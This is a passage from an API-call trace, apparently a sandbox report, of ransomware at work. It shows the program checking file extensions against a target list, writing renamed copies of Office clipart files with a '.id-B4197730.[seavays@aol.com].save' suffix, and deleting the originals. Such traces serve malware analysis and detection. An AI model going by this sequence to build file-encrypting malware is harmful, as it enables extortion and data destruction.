lpString2="6.WMF") returned -1 [0183.901] lstrlenW (lpString=".ppt") returned 4 [0183.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0183.902] lstrlenW (lpString=".zip") returned 4 [0183.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.902] lstrlenW (lpString=".rar") returned 4 [0183.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.902] lstrlenW (lpString=".bz2") returned 4 [0183.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.902] lstrlenW (lpString=".7z") returned 3 [0183.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0183.902] lstrlenW (lpString=".dbf") returned 4 [0183.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0183.902] lstrlenW (lpString=".1cd") returned 4 [0183.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0183.902] lstrlenW (lpString=".jpg") returned 4 [0183.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.903] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=30812) returned 1 [0183.903] CloseHandle (hObject=0x388) returned 1 [0183.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220 [0183.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0183.905] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.905] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0183.906] GetLastError () returned 0x0 [0183.906] ReadFile (in: hFile=0x388, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x785c, lpOverlapped=0x0) returned 1 [0183.909] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x7860, lpOverlapped=0x0) returned 1 [0183.911] ReadFile (in: hFile=0x388, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0183.911] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0183.911] SetEndOfFile (hFile=0x374) returned 1 [0183.911] CloseHandle (hObject=0x374) returned 1 [0183.911] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0183.911] SetEndOfFile (hFile=0x388) returned 1 [0183.948] CloseHandle (hObject=0x388) returned 1 [0183.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0183.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0183.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0183.950] lstrlenW (lpString=".doc") returned 4 [0183.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.950] lstrlenW (lpString=".docx") returned 5 [0183.950] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.950] lstrlenW (lpString=".pdf") returned 4 [0183.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.950] lstrlenW (lpString=".xls") returned 4 [0183.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.950] lstrlenW (lpString=".xlsx") returned 5 [0183.950] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.950] lstrlenW (lpString=".ppt") returned 4 [0183.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0184.294] lstrlenW (lpString=".zip") returned 4 [0184.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.294] lstrlenW (lpString=".rar") returned 4 [0184.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.294] lstrlenW (lpString=".bz2") returned 4 [0184.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.294] lstrlenW (lpString=".7z") returned 3 [0184.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0184.294] lstrlenW (lpString=".dbf") returned 4 [0184.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0184.295] lstrlenW (lpString=".1cd") returned 4 [0184.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0184.295] lstrlenW (lpString=".jpg") returned 4 [0184.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.297] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.297] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.298] GetLastError () returned 0x0 [0184.298] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x674, lpOverlapped=0x0) returned 1 [0184.300] WriteFile (in: hFile=0x384, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x680, lpOverlapped=0x0) returned 1 [0184.301] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0184.301] WriteFile (in: hFile=0x384, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0184.301] SetEndOfFile (hFile=0x384) returned 1 [0184.301] CloseHandle (hObject=0x384) returned 1 [0184.302] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.302] SetEndOfFile (hFile=0x2a8) returned 1 [0184.310] CloseHandle (hObject=0x2a8) returned 1 [0184.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0184.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0184.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0184.312] lstrlenW (lpString=".doc") returned 4 [0184.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.312] lstrlenW (lpString=".docx") returned 5 [0184.312] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.312] lstrlenW (lpString=".pdf") returned 4 [0184.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.312] lstrlenW (lpString=".xls") returned 4 [0184.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.312] lstrlenW (lpString=".xlsx") returned 5 [0184.312] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.312] lstrlenW (lpString=".ppt") returned 4 [0184.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0184.313] lstrlenW (lpString=".zip") returned 4 [0184.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.313] lstrlenW (lpString=".rar") returned 4 [0184.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.313] lstrlenW (lpString=".bz2") returned 4 [0184.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.313] lstrlenW (lpString=".7z") returned 3 [0184.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0184.313] lstrlenW (lpString=".dbf") returned 4 [0184.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0184.313] lstrlenW (lpString=".1cd") returned 4 [0184.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0184.313] lstrlenW (lpString=".jpg") returned 4 [0184.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.314] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4908) returned 1 [0184.314] CloseHandle (hObject=0x2a8) returned 1 [0184.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220 [0184.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.316] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.316] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.317] GetLastError () returned 0x0 [0184.317] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x132c, lpOverlapped=0x0) returned 1 [0184.319] WriteFile (in: hFile=0x384, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1330, lpOverlapped=0x0) returned 1 [0184.320] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0184.320] WriteFile (in: hFile=0x384, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0184.321] SetEndOfFile (hFile=0x384) returned 1 [0184.321] CloseHandle (hObject=0x384) returned 1 [0184.321] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.321] SetEndOfFile (hFile=0x2a8) returned 1 [0184.325] CloseHandle (hObject=0x2a8) returned 1 [0184.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0184.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0184.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0184.327] lstrlenW (lpString=".doc") returned 4 [0184.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.327] lstrlenW (lpString=".docx") returned 5 [0184.327] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.327] lstrlenW (lpString=".pdf") returned 4 [0184.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.327] lstrlenW (lpString=".xls") returned 4 [0184.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.327] lstrlenW (lpString=".xlsx") returned 5 [0184.327] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.327] lstrlenW (lpString=".ppt") returned 4 [0184.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0184.327] lstrlenW (lpString=".zip") returned 4 [0184.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.327] lstrlenW (lpString=".rar") returned 4 [0184.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.327] lstrlenW (lpString=".bz2") returned 4 [0184.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.327] lstrlenW (lpString=".7z") returned 3 [0184.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0184.328] lstrlenW (lpString=".dbf") returned 4 [0184.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0184.328] lstrlenW (lpString=".1cd") returned 4 [0184.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0184.328] lstrlenW (lpString=".jpg") returned 4 [0184.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.329] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4580) returned 1 [0184.329] CloseHandle (hObject=0x2a8) returned 1 [0184.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220 [0184.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.330] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.331] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0184.332] GetLastError () returned 0x0 [0184.332] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x11e4, lpOverlapped=0x0) returned 1 [0184.335] WriteFile (in: hFile=0x384, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x11f0, lpOverlapped=0x0) returned 1 [0184.336] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0184.336] WriteFile (in: hFile=0x384, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0184.336] SetEndOfFile (hFile=0x384) returned 1 [0184.336] CloseHandle (hObject=0x384) returned 1 [0184.336] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.337] SetEndOfFile (hFile=0x2a8) returned 1 [0184.656] CloseHandle (hObject=0x2a8) returned 1 [0184.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0184.659] lstrlenW (lpString=".doc") returned 4 [0184.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.659] lstrlenW (lpString=".docx") returned 5 [0184.659] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.659] lstrlenW (lpString=".pdf") returned 4 [0184.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.659] lstrlenW (lpString=".xls") returned 4 [0184.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.659] lstrlenW (lpString=".xlsx") returned 5 [0184.659] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.659] lstrlenW (lpString=".ppt") returned 4 [0184.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0184.659] lstrlenW (lpString=".zip") returned 4 [0184.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.660] lstrlenW (lpString=".rar") returned 4 [0184.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.660] lstrlenW (lpString=".bz2") returned 4 [0184.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.660] lstrlenW (lpString=".7z") returned 3 [0184.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0184.660] lstrlenW (lpString=".dbf") returned 4 [0184.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0184.660] lstrlenW (lpString=".1cd") returned 4 [0184.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0184.661] lstrlenW (lpString=".jpg") returned 4 [0184.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.662] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=14888) returned 1 [0184.662] CloseHandle (hObject=0x2a8) returned 1 [0184.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220 [0184.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.664] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.664] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.665] GetLastError () returned 0x0 [0184.666] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3a28, lpOverlapped=0x0) returned 1 [0184.668] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3a30, lpOverlapped=0x0) returned 1 [0184.670] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, 